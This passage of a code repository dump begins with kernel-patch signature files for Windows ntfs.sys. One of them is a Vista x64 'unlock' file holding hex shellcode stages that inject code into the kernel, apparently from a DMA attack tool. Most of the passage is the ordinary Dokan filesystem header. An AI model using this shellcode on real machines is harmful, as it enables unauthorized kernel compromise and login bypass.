380,488954241048894C240853565741544155415641574881EC70010000488BF248,000,03D14123C24133C04103C48D8C10B15BFFFF8B532C8B5B3CC1C1118954240841,A7380,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys [6.1.7601.23932] signed on 2017-10-17 00:07:00 (MJ_CREATE/NtfsFsdCreate) 3D0,488954241048894C240853565741544155415641574881EC70010000488BF248,000,FFFF8B532C8B5B3CC1C11189542408418BC24133C14103CA23C14133C103C246,A73D0,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # # # ntfs.sys [6.1.7601.24000] signed on 2018-08-08 03:20:35 (MJ_CREATE/NtfsFsdCreate) # ntfs.sys [6.1.7601.24335] signed on 2018-12-28 21:02:08 (MJ_CREATE/NtfsFsdCreate) 390,488954241048894C240853565741544155415641574881EC70010000488BF248,000,11906B8BC14133C3C1C2074103D323C233C14103C5468D8410937198FD418BC3,A7390,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 # ntfs.sys [6.1.7601.24382] signed on 2019-02-10 18:10:39 (MJ_CREATE/NtfsFsdCreate) 370,488954241048894C240853565741544155415641574881EC70010000488BF248,000,8bc24133c14103ca23c14133c103c2468d9c00bed75c89418bc233c141c1c316,A7370,DEFAULT_WINX64_STAGE1,44E00,DEFAULT_WINX64_STAGE2,0,DEFAULT_WINX64_STAGE3 ``` `files/winvistax64.kmd`: ```kmd # unlock signatures for Windows Vista x64 version # syntax: see signature_info.txt for more information. # # NB! stage2 code differs slightly from other winx64 code (extra stack alignment around MmGetPhysicalAddress to avoid bluescreen) # # signature for Windows Vista x64 SP2 [ntfs.sys (signed on: 2009-04-11)] 2df,0f82b0b7,0ec,80e85efd,ae290,DEFAULT_WINX64_STAGE1,45d00,eb12000000000000000000000000000000000000584883e805505152415041510f20c15181e1fffffeff0f22c1488b15d4ffffff488910b000b201488d0dc0fffffff00fb0117522415441554883ec200f010c24488b4c2402488b4904e8b40000004883c420415d415c580f22c0415941585a59c35657488bf14833ff4833c0fcac84c07407c1cf0d03f8ebf48bc75f5ec348c1e90c48c1e10cb800100000482bc8668b01663d4d5a75ef8b413c3d0010000077e54803c18b003d5045000075d9488bc1c357568b793c8bbc39880000004803f9448b47184833f68b47204803c18b04b04803c151488bc8e885ffffff593bc2740548ffc6ebe18b57244803d14833c0668b04728b571c4803d18b04824803c15e5fc3e877ffffff4c8be0498bccbabc1e369fe89affffff48c7c10020000048c7c2ffffff7fffd04c8be84833c0b900040000ffc9498944cd0075f74d89650848b8488d05f1ffffff484989850010000048b88b004883f80074f0498985081000004155b8001000004903c5506a004883ec20498bccba026ba094e832ffffff498bcd48c7c2ffff1f004d33c04d33c9ffd04883c438498bccba5763325ae80fffffffc8200000498bcdffd0c989053efeffffc3,0,DEFAULT_WINX64_STAGE3 # # signature for Windows Vista x64 SP2 [ntfs.sys (signed on: 2013-03-03)] 25f,0f82b0b5,08c,80e85efd,ae210,DEFAULT_WINX64_STAGE1,45d00,eb12000000000000000000000000000000000000584883e805505152415041510f20c15181e1fffffeff0f22c1488b15d4ffffff488910b000b201488d0dc0fffffff00fb0117522415441554883ec200f010c24488b4c2402488b4904e8b40000004883c420415d415c580f22c0415941585a59c35657488bf14833ff4833c0fcac84c07407c1cf0d03f8ebf48bc75f5ec348c1e90c48c1e10cb800100000482bc8668b01663d4d5a75ef8b413c3d0010000077e54803c18b003d5045000075d9488bc1c357568b793c8bbc39880000004803f9448b47184833f68b47204803c18b04b04803c151488bc8e885ffffff593bc2740548ffc6ebe18b57244803d14833c0668b04728b571c4803d18b04824803c15e5fc3e877ffffff4c8be0498bccbabc1e369fe89affffff48c7c10020000048c7c2ffffff7fffd04c8be84833c0b900040000ffc9498944cd0075f74d89650848b8488d05f1ffffff484989850010000048b88b004883f80074f0498985081000004155b8001000004903c5506a004883ec20498bccba026ba094e832ffffff498bcd48c7c2ffff1f004d33c04d33c9ffd04883c438498bccba5763325ae80fffffffc8200000498bcdffd0c989053efeffffc3,0,DEFAULT_WINX64_STAGE3 ``` `includes/dokan.h`: ```h /* Dokan : user-mode file system library for Windows Copyright (C) 2015 - 2019 Adrien J. and Maxime C. Copyright (C) 2020 Google, Inc. Copyright (C) 2007 - 2011 Hiroki Asakawa http://dokan-dev.github.io This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see . */ #ifndef DOKAN_H_ #define DOKAN_H_ /** Do not include NTSTATUS. Fix duplicate preprocessor definitions */ #define WIN32_NO_STATUS #include #undef WIN32_NO_STATUS #include #include "fileinfo.h" #include "public.h" #ifdef _EXPORTING /** Export dokan API see also dokan.def for export */ #define DOKANAPI __stdcall #else /** Import dokan API */ #define DOKANAPI __declspec(dllimport) __stdcall #endif /** Change calling convention to standard call */ #define DOKAN_CALLBACK __stdcall #ifdef __cplusplus extern "C" { #endif /** @file */ /** * \defgroup Dokan Dokan * \brief Dokan Library const and methods */ /** @{ */ /** The current Dokan version (200 means ver 2.0.0). \ref DOKAN_OPTIONS.Version */ #define DOKAN_VERSION 200 /** Minimum Dokan version (ver 2.0.0) accepted. */ #define DOKAN_MINIMUM_COMPATIBLE_VERSION 200 /** Driver file name including the DOKAN_MAJOR_API_VERSION */ #define DOKAN_DRIVER_NAME L"dokan" DOKAN_MAJOR_API_VERSION L".sys" /** Network provider name including the DOKAN_MAJOR_API_VERSION */ #define DOKAN_NP_NAME L"Dokan" DOKAN_MAJOR_API_VERSION /** @} */ /** * \defgroup DOKAN_OPTION DOKAN_OPTION * \brief All DOKAN_OPTION flags used in DOKAN_OPTIONS.Options * \see DOKAN_FILE_INFO */ /** @{ */ /** Enable ouput debug message */ #define DOKAN_OPTION_DEBUG 1 /** Enable ouput debug message to stderr */ #define DOKAN_OPTION_STDERR (1 << 1) /** * Enable the use of alternate stream paths in the form * :. If this is not specified then the driver will * fail any attempt to access a path with a colon. */ #define DOKAN_OPTION_ALT_STREAM (1 << 2) /** Enable mount drive as write-protected */ #define DOKAN_OPTION_WRITE_PROTECT (1 << 3) /** Use network drive - Dokan network provider needs to be installed */ #define DOKAN_OPTION_NETWORK (1 << 4) /** * Use removable drive * Be aware that on some environments, the userland application will be denied * to communicate with the drive which will result in a unwanted unmount. * \see Issue #843 */ #define DOKAN_OPTION_REMOVABLE (1 << 5) /** * Use Windows Mount Manager. * This option is highly recommended to use for better system integration * * If a drive letter is used but is busy, Mount manager will assign one for us and * \ref DOKAN_OPERATIONS.Mounted parameters will contain the new mount point. */ #define DOKAN_OPTION_MOUNT_MANAGER (1 << 6) /** Mount the drive on current session only */ #define DOKAN_OPTION_CURRENT_SESSION (1 << 7) /** Enable Lockfile/Unlockfile operations. Otherwise Dokan will take care of it */ #define DOKAN_OPTION_FILELOCK_USER_MODE (1 << 8) /** * Enable Case sensitive path. * By default all path are case insensitive. * For case sensitive: \dir\File & \diR\file are different files * but for case insensitive they are the same. */ #define DOKAN_OPTION_CASE_SENSITIVE (1 << 9) /** Allows unmounting of network drive via explorer */ #define DOKAN_OPTION_ENABLE_UNMOUNT_NETWORK_DRIVE (1 << 10) /** * Forward the kernel driver global and volume logs to the userland. * Can be very slow if single thread is enabled. */ #define DOKAN_OPTION_DISPATCH_DRIVER_LOGS (1 << 11) /** @} */ typedef VOID *DOKAN_HANDLE, **PDOKAN_HANDLE; /** * \struct DOKAN_OPTIONS * \brief Dokan mount options used to describe Dokan device behavior. * \see DokanMain */ typedef struct _DOKAN_OPTIONS { /** Version of the Dokan features requested without dots (version "123" is equal to Dokan version 1.2.3). */ USHORT Version; /** Only use a single thread to process events. This is highly not recommended as can easily create a bottleneck. */ BOOLEAN SingleThread; /** Features enabled for the mount. See \ref DOKAN_OPTION. */ ULONG Options; /** FileSystem can store anything here. */ ULONG64 GlobalContext; /** Mount point. It can be a driver letter like "M:\" or a folder path "C:\mount\dokan" on a NTFS partition. */ LPCWSTR MountPoint; /** * UNC Name for the Network Redirector * \see Support for UNC Naming */ LPCWSTR UNCName; /** * Max timeout in milliseconds of each request before Dokan gives up to wait events to complete. * A timeout request is a sign that the userland implementation is no longer able to properly manage requests in time. * The driver will therefore unmount the device when a timeout trigger in order to keep the system stable. * The default timeout value is 15 seconds. */ ULONG Timeout; /** Allocation Unit Size of the volume. This will affect the file size. */ ULONG AllocationUnitSize; /** Sector Size of the volume. This will affect the file size. */ ULONG SectorSize; /** Length of the optional VolumeSecurityDescriptor provided. Set 0 will disable the option. */ ULONG VolumeSecurityDescriptorLength; /** Optional Volume Security descriptor. See InitializeSecurityDescriptor */ CHAR VolumeSecurityDescriptor[VOLUME_SECURITY_DESCRIPTOR_MAX_SIZE]; } DOKAN_OPTIONS, *PDOKAN_OPTIONS; /** * \struct DOKAN_FILE_INFO * \brief Dokan file information on the current operation. */ typedef struct _DOKAN_FILE_INFO { /** * Context that can be used to carry information between operations. * The context can carry whatever type like \c HANDLE, struct, int, * internal reference that will help the implementation understand the request context of the event. */ ULONG64 Context; /** Reserved. Used internally by Dokan library. Never modify. */ ULONG64 DokanContext; /** A pointer to DOKAN_OPTIONS which was passed to \ref DokanMain or \ref DokanCreateFileSystem. */ PDOKAN_OPTIONS DokanOptions; /** * Reserved. Used internally by Dokan library. Never modify. * If the processing for the event requires extra data to be associated with it * then a pointer to that data can be placed here */ PVOID ProcessingContext; /** * Process ID for the thread that originally requested a given I/O operation. */ ULONG ProcessId; /** * Requesting a directory file. * Must be set in \ref DOKAN_OPERATIONS.ZwCreateFile if the file appears to be a folder. */ UCHAR IsDirectory; /** Flag if the file has to be deleted during DOKAN_OPERATIONS. Cleanup event. */ UCHAR DeleteOnClose; /** Read or write is paging IO. */ UCHAR PagingIo; /** Read or write is synchronous IO. */ UCHAR SynchronousIo; /** Read or write directly from data source without cache */ UCHAR Nocache; /** If \c TRUE, write to the current end of file instead of using the Offset parameter. */ UCHAR WriteToEndOfFile; } DOKAN_FILE_INFO, *PDOKAN_FILE_INFO; #define DOKAN_EXCEPTION_NOT_INITIALIZED 0x0f0ff0ff #define DOKAN_EXCEPTION_INITIALIZATION_FAILED 0x0fbadbad #define DOKAN_EXCEPTION_SHUTDOWN_FAILED 0x0fbadf00 /** * \brief FillFindData Used to add an entry in FindFiles operation * \return 1 if buffer is full, otherwise 0 (currently it never returns 1) */ typedef int(WINAPI *PFillFindData)(PWIN32_FIND_DATAW, PDOKAN_FILE_INFO); /** * \brief FillFindStreamData Used to add an entry in FindStreams * \return FALSE if the buffer is full, otherwise TRUE */ typedef BOOL(WINAPI *PFillFindStreamData)(PWIN32_FIND_STREAM_DATA, PVOID); // clang-format off /** * \struct DOKAN_OPERATIONS * \brief Dokan API callbacks interface * * DOKAN_OPERATIONS is a struct of callbacks that describe all Dokan API operations * that will be called when Windows access to the filesystem. * * If an error occurs, return NTSTATUS (https://support.microsoft.com/en-us/kb/113996). * Win32 Error can be converted to \c NTSTATUS with \ref DokanNtStatusFromWin32 * * All callbacks can be set to \c NULL or return \c STATUS_NOT_IMPLEMENTED * if supporting one of them is not desired. Be aware that returning such values to important callbacks * such as DOKAN_OPERATIONS.ZwCreateFile / DOKAN_OPERATIONS.ReadFile / ... would make the filesystem not work or become unstable. */ typedef struct _DOKAN_OPERATIONS { /** * \brief CreateFile Dokan API callback * * CreateFile is called each time a request is made on a file system object. * * In case \c OPEN_ALWAYS & \c CREATE_ALWAYS are successfully opening an * existing file, \c STATUS_OBJECT_NAME_COLLISION should be returned instead of \c STATUS_SUCCESS . * This will inform Dokan that the file has been opened and not created during the request. * * If the file is a directory, CreateFile is also called. * In this case, CreateFile should return \c STATUS_SUCCESS when that directory * can be opened and DOKAN_FILE_INFO.IsDirectory has to be set to \c TRUE. * On the other hand, if DOKAN_FILE_INFO.IsDirectory is set to \c TRUE * but the path targets a file, \c STATUS_NOT_A_DIRECTORY must be returned. * * DOKAN_FILE_INFO.Context can be used to store Data (like \c HANDLE) * that can be retrieved in all other requests related to the Context. * To avoid memory leak, Context needs to be released in DOKAN_OPERATIONS.Cleanup. * * \param FileName File path requested by the Kernel on the FileSystem. * \param SecurityContext SecurityContext, see https://msdn.microsoft.com/en-us/library/windows/hardware/ff550613(v=vs.85).aspx * \param DesiredAccess Specifies an ACCESS_MASK value that determines the requested access to the object. * \param FileAttributes Specifies one or more FILE_ATTRIBUTE_XXX flags, which represent the file attributes to set if a file is created or overwritten. * \param ShareAccess Type of share access, which is specified as zero or any combination of FILE_SHARE_* flags. * \param CreateDisposition Specifies the action to perform if the file does or does not exist. * \param CreateOptions Specifies the options to apply when the driver creates or opens the file. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see See ZwCreateFile for more information about the parameters of this callback (MSDN). * \see DokanMapKernelToUserCreateFileFlags */ NTSTATUS(DOKAN_CALLBACK *ZwCreateFile)(LPCWSTR FileName, PDOKAN_IO_SECURITY_CONTEXT SecurityContext, ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief Cleanup Dokan API callback * * Cleanup request before \ref CloseFile is called. * * When DOKAN_FILE_INFO.DeleteOnClose is \c TRUE, the file in Cleanup must be deleted. * The function cannot fail therefore the filesystem need to ensure ahead * that a the delete can safely happen during Cleanup. * See DeleteFile documentation for explanation. * * \param FileName File path requested by the Kernel on the FileSystem. * \param DokanFileInfo Information about the file or directory. * \see DeleteFile * \see DeleteDirectory */ void(DOKAN_CALLBACK *Cleanup)(LPCWSTR FileName, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief CloseFile Dokan API callback * * Clean remaining Context * * CloseFile is called at the end of the life of the context. * Anything remaining in \ref DOKAN_FILE_INFO.Context must be cleared before returning. * * \param FileName File path requested by the Kernel on the FileSystem. * \param DokanFileInfo Information about the file or directory. */ void(DOKAN_CALLBACK *CloseFile)(LPCWSTR FileName, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief ReadFile Dokan API callback * * ReadFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile. * It can be called by different threads at the same time, so the read/context has to be thread safe. * * \param FileName File path requested by the Kernel on the FileSystem. * \param Buffer Read buffer that has to be filled with the read result. * \param BufferLength Buffer length and read size to continue with. * \param ReadLength Total data size that has been read. * \param Offset Offset from where the read has to be continued. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see WriteFile */ NTSTATUS(DOKAN_CALLBACK *ReadFile)(LPCWSTR FileName, LPVOID Buffer, DWORD BufferLength, LPDWORD ReadLength, LONGLONG Offset, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief WriteFile Dokan API callback * * WriteFile callback on the file previously opened in DOKAN_OPERATIONS.ZwCreateFile * It can be called by different threads at the same time, sp the write/context has to be thread safe. * * \param FileName File path requested by the Kernel on the FileSystem. * \param Buffer Data that has to be written. * \param NumberOfBytesToWrite Buffer length and write size to continue with. * \param NumberOfBytesWritten Total number of bytes that have been written. * \param Offset Offset from where the write has to be continued. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see ReadFile */ NTSTATUS(DOKAN_CALLBACK *WriteFile)(LPCWSTR FileName, LPCVOID Buffer, DWORD NumberOfBytesToWrite, LPDWORD NumberOfBytesWritten, LONGLONG Offset, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief FlushFileBuffers Dokan API callback * * Clears buffers for this context and causes any buffered data to be written to the file. * * \param FileName File path requested by the Kernel on the FileSystem. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *FlushFileBuffers)(LPCWSTR FileName, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief GetFileInformation Dokan API callback * * Get specific information on a file. * * \param FileName File path requested by the Kernel on the FileSystem. * \param Buffer BY_HANDLE_FILE_INFORMATION struct to fill. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *GetFileInformation)(LPCWSTR FileName, LPBY_HANDLE_FILE_INFORMATION Buffer, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief FindFiles Dokan API callback * * List all files in the requested path * \ref DOKAN_OPERATIONS.FindFilesWithPattern is checked first. If it is not implemented or * returns \c STATUS_NOT_IMPLEMENTED, then FindFiles is called, if implemented. * * \param FileName File path requested by the Kernel on the FileSystem. * \param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contain file information. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see FindFilesWithPattern */ NTSTATUS(DOKAN_CALLBACK *FindFiles)(LPCWSTR FileName, PFillFindData FillFindData, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief FindFilesWithPattern Dokan API callback * * Same as \ref DOKAN_OPERATIONS.FindFiles but with a search pattern.\n * The search pattern is a Windows MS-DOS-style expression. * It can contain wild cards and extended characters or none of them. See \ref DokanIsNameInExpression. * * If the function is not implemented, \ref DOKAN_OPERATIONS.FindFiles * will be called instead and the result will be filtered internally by the library. * * \param PathName Path requested by the Kernel on the FileSystem. * \param SearchPattern Search pattern. * \param FillFindData Callback that has to be called with PWIN32_FIND_DATAW that contains file information. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see FindFiles * \see DokanIsNameInExpression */ NTSTATUS(DOKAN_CALLBACK *FindFilesWithPattern)(LPCWSTR PathName, LPCWSTR SearchPattern, PFillFindData FillFindData, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief SetFileAttributes Dokan API callback * * Set file attributes on a specific file * * \param FileName File path requested by the Kernel on the FileSystem. * \param FileAttributes FileAttributes to set on file. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *SetFileAttributes)(LPCWSTR FileName, DWORD FileAttributes, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief SetFileTime Dokan API callback * * Set file attributes on a specific file * * \param FileName File path requested by the Kernel on the FileSystem. * \param CreationTime Creation FILETIME. * \param LastAccessTime LastAccess FILETIME. * \param LastWriteTime LastWrite FILETIME. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *SetFileTime)(LPCWSTR FileName, CONST FILETIME *CreationTime, CONST FILETIME *LastAccessTime, CONST FILETIME *LastWriteTime, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief DeleteFile Dokan API callback * * Check if it is possible to delete a file. * * DeleteFile will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \c FALSE * to notify the driver when the file is no longer requested to be deleted. * * The file in DeleteFile should not be deleted, but instead the file * must be checked as to whether or not it can be deleted, * and \c STATUS_SUCCESS should be returned (when it can be deleted) or * appropriate error codes, such as \c STATUS_ACCESS_DENIED or * \c STATUS_OBJECT_NAME_NOT_FOUND, should be returned. * * When \c STATUS_SUCCESS is returned, a Cleanup call is received afterwards with * DOKAN_FILE_INFO.DeleteOnClose set to \c TRUE. Only then must the closing file * be deleted. * * \param FileName File path requested by the Kernel on the FileSystem. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see DeleteDirectory * \see Cleanup */ NTSTATUS(DOKAN_CALLBACK *DeleteFile)(LPCWSTR FileName, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief DeleteDirectory Dokan API callback * * Check if it is possible to delete a directory. * * DeleteDirectory will also be called with DOKAN_FILE_INFO.DeleteOnClose set to \c FALSE * to notify the driver when the file is no longer requested to be deleted. * * The Directory in DeleteDirectory should not be deleted, but instead * must be checked as to whether or not it can be deleted, * and \c STATUS_SUCCESS should be returned (when it can be deleted) or * appropriate error codes, such as \c STATUS_ACCESS_DENIED, * \c STATUS_OBJECT_PATH_NOT_FOUND, or \c STATUS_DIRECTORY_NOT_EMPTY, should * be returned. * * When \c STATUS_SUCCESS is returned, a Cleanup call is received afterwards with * DOKAN_FILE_INFO.DeleteOnClose set to \c TRUE. Only then must the closing file * be deleted. * * \param FileName File path requested by the Kernel on the FileSystem. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result. * \ref DeleteFile * \ref Cleanup */ NTSTATUS(DOKAN_CALLBACK *DeleteDirectory)(LPCWSTR FileName, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief MoveFile Dokan API callback * * Move a file or directory to a new destination * * \param FileName Path for the file to be moved. * \param NewFileName Path for the new location of the file. * \param ReplaceIfExisting If destination already exists, can it be replaced? * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *MoveFile)(LPCWSTR FileName, LPCWSTR NewFileName, BOOL ReplaceIfExisting, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief SetEndOfFile Dokan API callback * * SetEndOfFile is used to truncate or extend a file (physical file size). * * \param FileName File path requested by the Kernel on the FileSystem. * \param ByteOffset File length to set. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *SetEndOfFile)(LPCWSTR FileName, LONGLONG ByteOffset, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief SetAllocationSize Dokan API callback * * SetAllocationSize is used to truncate or extend a file. * * \param FileName File path requested by the Kernel on the FileSystem. * \param AllocSize File length to set. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *SetAllocationSize)(LPCWSTR FileName, LONGLONG AllocSize, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief LockFile Dokan API callback * * Lock file at a specific offset and data length. * This is only used if \ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled. * * \param FileName File path requested by the Kernel on the FileSystem. * \param ByteOffset Offset from where the lock has to be continued. * \param Length Data length to lock. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see UnlockFile */ NTSTATUS(DOKAN_CALLBACK *LockFile)(LPCWSTR FileName, LONGLONG ByteOffset, LONGLONG Length, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief UnlockFile Dokan API callback * * Unlock file at a specific offset and data length. * This is only used if \ref DOKAN_OPTION_FILELOCK_USER_MODE is enabled. * * \param FileName File path requested by the Kernel on the FileSystem. * \param ByteOffset Offset from where the lock has to be continued. * \param Length Data length to lock. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see LockFile */ NTSTATUS(DOKAN_CALLBACK *UnlockFile)(LPCWSTR FileName, LONGLONG ByteOffset, LONGLONG Length, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief GetDiskFreeSpace Dokan API callback * * Retrieves information about the amount of space that is available on a disk volume. * It consits of the total amount of space, the total amount of free space, and * the total amount of free space available to the user that is associated with the calling thread. * * Neither GetDiskFreeSpace nor \ref GetVolumeInformation * save the DOKAN_FILE_INFO.Context. * Before these methods are called, \ref ZwCreateFile may not be called. * (ditto \ref CloseFile and \ref Cleanup) * * \param FreeBytesAvailable Amount of available space. * \param TotalNumberOfBytes Total size of storage space * \param TotalNumberOfFreeBytes Amount of free space * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result. * \see GetDiskFreeSpaceEx function (MSDN) * \see GetVolumeInformation */ NTSTATUS(DOKAN_CALLBACK *GetDiskFreeSpace)(PULONGLONG FreeBytesAvailable, PULONGLONG TotalNumberOfBytes, PULONGLONG TotalNumberOfFreeBytes, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief GetVolumeInformation Dokan API callback * * Retrieves information about the file system and volume associated with the specified root directory. * * Neither GetVolumeInformation nor GetDiskFreeSpace * save the \ref DOKAN_FILE_INFO#Context. * Before these methods are called, \ref ZwCreateFile may not be called. * (ditto \ref CloseFile and \ref Cleanup) * * VolumeName length can be anything that fit in the provided buffer. * But some Windows component expect it to be no longer than 32 characters * that why it is recommended to set a value under this limit. * * FileSystemName could be anything up to 10 characters. * But Windows check few feature availability based on file system name. * For this, it is recommended to set NTFS or FAT here. * * \c FILE_READ_ONLY_VOLUME is automatically added to the * FileSystemFlags if \ref DOKAN_OPTION_WRITE_PROTECT was * specified in DOKAN_OPTIONS when the volume was mounted. * * \param VolumeNameBuffer A pointer to a buffer that receives the name of a specified volume. * \param VolumeNameSize The length of a volume name buffer. * \param VolumeSerialNumber A pointer to a variable that receives the volume serial number. * \param MaximumComponentLength A pointer to a variable that receives the maximum length. * \param FileSystemFlags A pointer to a variable that receives flags associated with the specified file system. * \param FileSystemNameBuffer A pointer to a buffer that receives the name of the file system. * \param FileSystemNameSize The length of the file system name buffer. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see GetVolumeInformation function (MSDN) * \see GetDiskFreeSpace */ NTSTATUS(DOKAN_CALLBACK *GetVolumeInformation)(LPWSTR VolumeNameBuffer, DWORD VolumeNameSize, LPDWORD VolumeSerialNumber, LPDWORD MaximumComponentLength, LPDWORD FileSystemFlags, LPWSTR FileSystemNameBuffer, DWORD FileSystemNameSize, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief Mounted Dokan API callback * * Called when Dokan successfully mounts the volume. * * If \ref DOKAN_OPTION_MOUNT_MANAGER is enabled and the drive letter requested is busy, * the MountPoint can contain a different drive letter that the mount manager assigned us. * * \param MountPoint The mount point assign to the instance. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see Unmounted */ NTSTATUS(DOKAN_CALLBACK *Mounted)(LPCWSTR MountPoint, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief Unmounted Dokan API callback * * Called when Dokan is unmounting the volume. * * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or \c NTSTATUS appropriate to the request result. * \see Mounted */ NTSTATUS(DOKAN_CALLBACK *Unmounted)(PDOKAN_FILE_INFO DokanFileInfo); /** * \brief GetFileSecurity Dokan API callback * * Get specified information about the security of a file or directory. * * Return \c STATUS_NOT_IMPLEMENTED to let dokan library build a sddl of the current process user with authenticate user rights for context menu. * Return \c STATUS_BUFFER_OVERFLOW if buffer size is too small. * * \since Supported since version 0.6.0. The version must be specified in \ref DOKAN_OPTIONS.Version. * \param FileName File path requested by the Kernel on the FileSystem. * \param SecurityInformation A SECURITY_INFORMATION value that identifies the security information being requested. * \param SecurityDescriptor A pointer to a buffer that receives a copy of the security descriptor of the requested file. * \param BufferLength Specifies the size, in bytes, of the buffer. * \param LengthNeeded A pointer to the variable that receives the number of bytes necessary to store the complete security descriptor. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see SetFileSecurity * \see GetFileSecurity function (MSDN) */ NTSTATUS(DOKAN_CALLBACK *GetFileSecurity)(LPCWSTR FileName, PSECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor, ULONG BufferLength, PULONG LengthNeeded, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief SetFileSecurity Dokan API callback * * Sets the security of a file or directory object. * * \since Supported since version 0.6.0. The version must be specified in \ref DOKAN_OPTIONS.Version. * \param FileName File path requested by the Kernel on the FileSystem. * \param SecurityInformation Structure that identifies the contents of the security descriptor pointed by \a SecurityDescriptor param. * \param SecurityDescriptor A pointer to a SECURITY_DESCRIPTOR structure. * \param BufferLength Specifies the size, in bytes, of the buffer. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. * \see GetFileSecurity * \see SetFileSecurity function (MSDN) */ NTSTATUS(DOKAN_CALLBACK *SetFileSecurity)(LPCWSTR FileName, PSECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR SecurityDescriptor, ULONG BufferLength, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief FindStreams Dokan API callback * * Retrieve all NTFS Streams informations on the file. * This is only called if \ref DOKAN_OPTION_ALT_STREAM is enabled. * * \since Supported since version 0.8.0. The version must be specified in \ref DOKAN_OPTIONS.Version. * \param FileName File path requested by the Kernel on the FileSystem. * \param FillFindStreamData Callback that has to be called with PWIN32_FIND_STREAM_DATA that contain stream information. * \param FindStreamContext Context for the event to pass to the callback FillFindStreamData. * \param DokanFileInfo Information about the file or directory. * \return \c STATUS_SUCCESS on success or NTSTATUS appropriate to the request result. */ NTSTATUS(DOKAN_CALLBACK *FindStreams)(LPCWSTR FileName, PFillFindStreamData FillFindStreamData, PVOID FindStreamContext, PDOKAN_FILE_INFO DokanFileInfo); } DOKAN_OPERATIONS, *PDOKAN_OPERATIONS; // clang-format on /** * \defgroup DokanMainResult DokanMainResult * \brief \ref DokanMain \ref DokanCreateFileSystem returns error 